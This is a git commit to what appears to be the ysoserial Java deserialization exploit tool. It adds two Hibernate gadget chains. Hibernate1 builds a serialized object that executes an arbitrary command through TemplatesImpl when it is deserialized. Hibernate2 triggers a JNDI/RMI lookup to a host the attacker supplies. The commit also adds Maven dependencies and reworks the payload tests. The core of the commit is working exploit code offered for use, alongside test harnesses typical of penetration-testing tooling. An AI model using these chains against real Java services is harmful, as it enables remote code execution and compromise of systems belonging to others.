Add hibernate gadget chains.

Remove missed copyright notices.
This commit is contained in:
mbechler
2016-03-06 14:54:49 +01:00
parent 436e831cbd
commit bd21624609
9 changed files with 412 additions and 156 deletions
+32 -11
View File
@@ -28,7 +28,7 @@
<plugin> <plugin>
<artifactId>maven-assembly-plugin</artifactId> <artifactId>maven-assembly-plugin</artifactId>
<configuration> <configuration>
<finalName>${project.artifactId}-${project.version}-all</finalName> <finalName>${project.artifactId}-${project.version}-all</finalName>
<appendAssemblyId>false</appendAssemblyId> <appendAssemblyId>false</appendAssemblyId>
<archive> <archive>
<manifest> <manifest>
@@ -102,15 +102,15 @@
<version>3.1</version> <version>3.1</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.beanshell</groupId> <groupId>org.beanshell</groupId>
<artifactId>bsh</artifactId> <artifactId>bsh</artifactId>
<version>2.0b5</version> <version>2.0b5</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>commons-beanutils</groupId> <groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId> <artifactId>commons-beanutils</artifactId>
<version>1.9.2</version> <version>1.9.2</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.apache.commons</groupId> <groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId> <artifactId>commons-collections4</artifactId>
@@ -131,8 +131,13 @@
<artifactId>spring-beans</artifactId> <artifactId>spring-beans</artifactId>
<version>4.1.4.RELEASE</version> <version>4.1.4.RELEASE</version>
</dependency> </dependency>
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>4.3.11.Final</version>
</dependency>
</dependencies> </dependencies>
<profiles> <profiles>
<profile> <profile>
<id>xalan</id> <id>xalan</id>
@@ -149,5 +154,21 @@
</dependency> </dependency>
</dependencies> </dependencies>
</profile> </profile>
<profile>
<id>hibernate5</id>
<activation>
<property>
<name>hibernate5</name>
</property>
</activation>
<dependencies>
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>5.0.7.Final</version>
</dependency>
</dependencies>
</profile>
</profiles> </profiles>
</project> </project>
-6
View File
@@ -1,9 +1,3 @@
/**
* © 2016 AgNO3 Gmbh & Co. KG
* All right reserved.
*
* Created: 05.03.2016 by mbechler
*/
package ysoserial; package ysoserial;
import java.lang.annotation.Retention; import java.lang.annotation.Retention;
@@ -0,0 +1,10 @@
package ysoserial.payloads;
/**
* @author mbechler
*
*/
public interface DynamicDependencies {
}
@@ -0,0 +1,148 @@
package ysoserial.payloads;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.AbstractType;
import org.hibernate.type.ComponentType;
import org.hibernate.type.Type;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
*
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*
*
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
*
* @author mbechler
*/
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies () {
if ( System.getProperty("hibernate5") != null ) {
return new String[] {
"org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
"javax.transaction:javax.transaction-api:1.2"
};
}
return new String[] {
"org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
"javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1"
};
}
public static Object makeGetter ( Class<?> tplClass, String method ) throws NoSuchMethodException, SecurityException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException {
if ( System.getProperty("hibernate5") != null ) {
return makeHibernate5Getter(tplClass, method);
}
return makeHibernate4Getter(tplClass, method);
}
public static Object makeHibernate4Getter ( Class<?> tplClass, String method ) throws ClassNotFoundException, NoSuchMethodException,
SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
bgCon.setAccessible(true);
if ( !method.startsWith("get") ) {
throw new IllegalArgumentException("Hibernate4 can only call getters");
}
String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);
Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);
Object arr = Array.newInstance(getterIf, 1);
Array.set(arr, 0, g);
return arr;
}
public static Object makeHibernate5Getter ( Class<?> tplClass, String method ) throws NoSuchMethodException, SecurityException,
ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);
Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method));
Object arr = Array.newInstance(getterIf, 1);
Array.set(arr, 0, g);
return arr;
}
/**
* {@inheritDoc}
*
* @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String)
*/
public Object getObject ( String command ) throws Exception {
Object tpl = Gadgets.createTemplatesImpl(command); // $NON-NLS-1$
Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
return makeCaller(tpl, getters);
}
/**
* @param tpl
* @param getters
* @return
* @throws NoSuchMethodException
* @throws InstantiationException
* @throws IllegalAccessException
* @throws InvocationTargetException
* @throws NoSuchFieldException
* @throws Exception
* @throws ClassNotFoundException
*/
static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
Reflections.setFieldValue(t, "componentTuplizer", tup);
Reflections.setFieldValue(t, "propertySpan", 1);
Reflections.setFieldValue(t, "propertyTypes", new Type[] {
t
});
TypedValue v1 = new TypedValue(t, null);
Reflections.setFieldValue(v1, "value", tpl);
Reflections.setFieldValue(v1, "type", t);
TypedValue v2 = new TypedValue(t, null);
Reflections.setFieldValue(v2, "value", tpl);
Reflections.setFieldValue(v2, "type", t);
return Gadgets.makeMap(v1, v2);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Hibernate1.class, args);
}
}
@@ -0,0 +1,60 @@
package ysoserial.payloads;
import ysoserial.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import com.sun.rowset.JdbcRowSetImpl;
/**
*
* Another application filter bypass
*
* Needs a getter invocation that is provided by hibernate here
*
* javax.naming.InitialContext.InitialContext.lookup()
* com.sun.rowset.JdbcRowSetImpl.connect()
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*
*
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
*
* Arg:
* - JNDI name (i.e. rmi:<host>)
*
* Yields:
* - JNDI lookup invocation (e.g. connect to remote RMI)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies () {
return Hibernate1.getDependencies();
}
public Object getObject ( String command ) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("rmi: " + command);
return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") );
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Hibernate2.class, args);
}
}
-6
View File
@@ -1,9 +1,3 @@
/**
* © 2016 AgNO3 Gmbh & Co. KG
* All right reserved.
*
* Created: 05.03.2016 by mbechler
*/
package ysoserial; package ysoserial;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
-10
View File
@@ -1,9 +1,3 @@
/**
* © 2016 AgNO3 Gmbh & Co. KG
* All right reserved.
*
* Created: 05.03.2016 by mbechler
*/
package ysoserial; package ysoserial;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
@@ -14,10 +8,6 @@ import java.util.concurrent.Callable;
*/ */
public interface WrappedTest { public interface WrappedTest {
/**
* @param innerCallable
* @return a wrapped callable
*/
Callable<Object> createCallable ( Callable<Object> innerCallable ); Callable<Object> createCallable ( Callable<Object> innerCallable );
} }
@@ -1,13 +1,7 @@
/**
* © 2016 AgNO3 Gmbh & Co. KG
* All right reserved.
*
* Created: 05.03.2016 by mbechler
*/
package ysoserial.payloads; package ysoserial.payloads;
import java.io.IOException; import java.io.IOException;
import java.util.Random;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
import javax.management.BadAttributeValueExpException; import javax.management.BadAttributeValueExpException;
@@ -17,6 +11,7 @@ import org.junit.Assert;
import ysoserial.CustomTest; import ysoserial.CustomTest;
import ysoserial.exploit.JRMPListener; import ysoserial.exploit.JRMPListener;
/** /**
* @author mbechler * @author mbechler
* *
@@ -24,41 +19,51 @@ import ysoserial.exploit.JRMPListener;
public class JRMPReverseConnectTest implements CustomTest { public class JRMPReverseConnectTest implements CustomTest {
private int port; private int port;
/** /**
* *
*/ */
public JRMPReverseConnectTest () { public JRMPReverseConnectTest () {
port = new Random().nextInt(65535 - 1024) + 1024; // some payloads cannot specify the port
port = 1099;
} }
/** /**
* {@inheritDoc} * {@inheritDoc}
* @throws IOException *
* @throws NumberFormatException * @throws IOException
* * @throws NumberFormatException
* @see java.lang.Runnable#run() *
*/ * @see java.lang.Runnable#run()
public void run (Callable<Object> payload) throws Exception { */
public void run ( Callable<Object> payload ) throws Exception {
JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo")); JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo"));
Thread t = new Thread(l, "JRMP listener"); Thread t = new Thread(l, "JRMP listener");
try { try {
t.start(); t.start();
payload.call(); try {
payload.call();
}
catch ( Exception e ) {
// ignore
}
Assert.assertTrue("Did not have connection", l.waitFor(1000)); Assert.assertTrue("Did not have connection", l.waitFor(1000));
} finally { }
finally {
l.close(); l.close();
t.interrupt(); t.interrupt();
t.join(); t.join();
} }
} }
/** /**
* {@inheritDoc} * {@inheritDoc}
* *
* @see ysoserial.CustomTest#getPayloadArgs() * @see ysoserial.CustomTest#getPayloadArgs()
*/ */
public String getPayloadArgs () { public String getPayloadArgs () {
return "localhost:" + port; return "localhost:" + port;
} }
+134 -100
View File
@@ -1,5 +1,6 @@
package ysoserial.payloads; package ysoserial.payloads;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
import java.io.File; import java.io.File;
@@ -35,6 +36,7 @@ import ysoserial.payloads.util.ClassFiles;
import ysoserial.secmgr.ExecCheckingSecurityManager; import ysoserial.secmgr.ExecCheckingSecurityManager;
import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException; import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException;
/* /*
* tests each of the parameterize Payload classes by using a mock SecurityManager that throws * tests each of the parameterize Payload classes by using a mock SecurityManager that throws
* a special exception when an exec() attempt is made for more reliable detection; self-tests * a special exception when an exec() attempt is made for more reliable detection; self-tests
@@ -42,78 +44,87 @@ import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException;
TODO: figure out better way to test exception behavior than comparing messages TODO: figure out better way to test exception behavior than comparing messages
*/ */
@SuppressWarnings({"rawtypes", "unused", "unchecked"}) @SuppressWarnings ( {
@RunWith(Parameterized.class) "rawtypes", "unused", "unchecked"
} )
@RunWith ( Parameterized.class )
public class PayloadsTest { public class PayloadsTest {
private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName();
@Parameters(name = "payloadClass: {0}") private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName();
public static Class<? extends ObjectPayload<?>>[] payloads() {
Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses();
payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class));
return payloadClasses.toArray(new Class[0]);
}
private final Class<? extends ObjectPayload<?>> payloadClass;
public PayloadsTest(Class<? extends ObjectPayload<?>> payloadClass) { @Parameters ( name = "payloadClass: {0}" )
this.payloadClass = payloadClass; public static Class<? extends ObjectPayload<?>>[] payloads () {
} Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses();
payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class));
return payloadClasses.toArray(new Class[0]);
}
@Test private final Class<? extends ObjectPayload<?>> payloadClass;
public void testPayload() throws Exception {
testPayload(payloadClass, new Class[0]);
}
public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader) throws Exception {
String command = "hostname"; public PayloadsTest ( Class<? extends ObjectPayload<?>> payloadClass ) {
final String[] deps = buildDeps(payloadClass); this.payloadClass = payloadClass;
}
PayloadTest t = payloadClass.getAnnotation(PayloadTest.class);
if ( t != null ) { @Test
if ( !t.skip().isEmpty()) { public void testPayload () throws Exception {
testPayload(payloadClass, new Class[0]);
}
public static void testPayload ( final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader )
throws Exception {
String command = "hostname";
String[] deps = buildDeps(payloadClass);
PayloadTest t = payloadClass.getAnnotation(PayloadTest.class);
if ( t != null ) {
if ( !t.skip().isEmpty() ) {
Assume.assumeTrue(t.skip(), false); Assume.assumeTrue(t.skip(), false);
} }
if ( !t.precondition().isEmpty()) { if ( !t.precondition().isEmpty() ) {
Assume.assumeTrue("Precondition", checkPrecondition(payloadClass, t.precondition())); Assume.assumeTrue("Precondition", checkPrecondition(payloadClass, t.precondition()));
} }
} }
Object wrapper = null; Object wrapper = null;
if ( t != null && !t.harness().isEmpty() ) { if ( t != null && !t.harness().isEmpty() ) {
wrapper = Class.forName(t.harness()).newInstance(); wrapper = Class.forName(t.harness()).newInstance();
if ( wrapper instanceof CustomTest ){ if ( wrapper instanceof CustomTest ) {
command = ( (CustomTest) wrapper ).getPayloadArgs(); command = ( (CustomTest) wrapper ).getPayloadArgs();
} }
} }
ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command)); final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command));
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized);
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized); if ( wrapper instanceof WrappedTest ) {
if ( wrapper instanceof WrappedTest ){ callable = ( (WrappedTest) wrapper ).createCallable(callable);
callable = ((WrappedTest)wrapper).createCallable(callable); }
}
if ( wrapper instanceof CustomTest ) { if ( wrapper instanceof CustomTest ) {
( (CustomTest) wrapper ).run(callable); ( (CustomTest) wrapper ).run(callable);
return; return;
} }
try { try {
Object deserialized = sm.wrap(callable); Object deserialized = sm.wrap(callable);
Assert.fail(ASSERT_MESSAGE); // should never get here Assert.fail(ASSERT_MESSAGE); // should never get here
} catch (Throwable e) { }
// hopefully everything will reliably nest our ExecException catch ( Throwable e ) {
Throwable innerEx = Throwables.getInnermostCause(e); // hopefully everything will reliably nest our ExecException
Assert.assertEquals(ExecException.class, innerEx.getClass()); Throwable innerEx = Throwables.getInnermostCause(e);
Assert.assertEquals(command, ((ExecException) innerEx).getCmd()); Assert.assertEquals(ExecException.class, innerEx.getClass());
} Assert.assertEquals(command, ( (ExecException) innerEx ).getCmd());
Assert.assertEquals(Arrays.asList(command), sm.getCmds()); }
} Assert.assertEquals(Arrays.asList(command), sm.getCmds());
}
/** /**
* @param payloadClass * @param payloadClass
@@ -121,69 +132,92 @@ public class PayloadsTest {
* @return * @return
*/ */
private static Callable<byte[]> makeSerializeCallable ( final Class<? extends ObjectPayload<?>> payloadClass, final String command ) { private static Callable<byte[]> makeSerializeCallable ( final Class<? extends ObjectPayload<?>> payloadClass, final String command ) {
return new Callable<byte[]>(){ return new Callable<byte[]>() {
public byte[] call() throws Exception {
ObjectPayload<?> payload = payloadClass.newInstance(); public byte[] call () throws Exception {
final Object f = payload.getObject(command); ObjectPayload<?> payload = payloadClass.newInstance();
return Serializer.serialize(f); final Object f = payload.getObject(command);
}}; return Serializer.serialize(f);
}
};
} }
/** /**
* @param t * @param t
* @param addlClassesForClassLoader * @param addlClassesForClassLoader
* @param deps * @param deps
* @param serialized * @param serialized
* @return * @return
*/ */
private static Callable<Object> makeDeserializeCallable ( PayloadTest t, final Class<?>[] addlClassesForClassLoader, final String[] deps, final byte[] serialized ) { private static Callable<Object> makeDeserializeCallable ( PayloadTest t, final Class<?>[] addlClassesForClassLoader, final String[] deps,
return new Callable<Object>(){ final byte[] serialized ) {
public Object call() throws Exception { return new Callable<Object>() {
return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader);
} public Object call () throws Exception {
return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader);
}
}; };
} }
private static boolean checkPrecondition ( Class<? extends ObjectPayload<?>> pc, String precondition ) throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { private static boolean checkPrecondition ( Class<? extends ObjectPayload<?>> pc, String precondition )
throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Method precondMethod = pc.getMethod(precondition); Method precondMethod = pc.getMethod(precondition);
return (Boolean) precondMethod.invoke(null); return (Boolean) precondMethod.invoke(null);
} }
/** /**
* @param payloadClass * @param payloadClass
* @return * @return
* @throws SecurityException
* @throws NoSuchMethodException
* @throws InvocationTargetException
* @throws IllegalArgumentException
* @throws IllegalAccessException
*/ */
private static String[] buildDeps ( final Class<? extends ObjectPayload<?>> payloadClass ) { private static String[] buildDeps ( final Class<? extends ObjectPayload<?>> payloadClass ) throws Exception {
String[] baseDeps = Dependencies.Utils.getDependencies(payloadClass); String[] baseDeps;
if ( System.getProperty("properXalan") != null ) { if ( DynamicDependencies.class.isAssignableFrom(payloadClass) ) {
baseDeps = Arrays.copyOf(baseDeps, baseDeps.length+1); Method method = payloadClass.getMethod("getDependencies");
baseDeps[baseDeps.length-1] = "xalan:xalan:2.7.2"; baseDeps = (String[]) method.invoke(null);
} }
final String[] deps = baseDeps; else {
return deps; baseDeps = Dependencies.Utils.getDependencies(payloadClass);
}
if ( System.getProperty("properXalan") != null ) {
baseDeps = Arrays.copyOf(baseDeps, baseDeps.length + 1);
baseDeps[ baseDeps.length - 1 ] = "xalan:xalan:2.7.2";
}
return baseDeps;
} }
private static Object deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies) throws Exception {
File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0];
URL[] urls = new URL[jars.length];
for (int i = 0; i < jars.length; i++) {
urls[i] = jars[i].toURI().toURL();
}
URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {{ private static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies )
for (Class<?> clazz : classDependencies) { throws Exception {
byte[] classAsBytes = ClassFiles.classAsBytes(clazz); File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0];
defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length); URL[] urls = new URL[jars.length];
} for ( int i = 0; i < jars.length; i++ ) {
byte[] deserializerClassBytes = ClassFiles.classAsBytes(ysoserial.Deserializer.class); urls[ i ] = jars[ i ].toURI().toURL();
defineClass(ysoserial.Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); }
}}; URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {
Class<?> deserializerClass = isolatedClassLoader.loadClass(ysoserial.Deserializer.class.getName()); {
Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[0].newInstance(serialized); for ( Class<?> clazz : classDependencies ) {
final Object obj = deserializer.call(); byte[] classAsBytes = ClassFiles.classAsBytes(clazz);
return obj; defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length);
} }
byte[] deserializerClassBytes = ClassFiles.classAsBytes(ysoserial.Deserializer.class);
defineClass(ysoserial.Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
}
};
Class<?> deserializerClass = isolatedClassLoader.loadClass(ysoserial.Deserializer.class.getName());
Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[ 0 ].newInstance(serialized);
final Object obj = deserializer.call();
return obj;
}
} }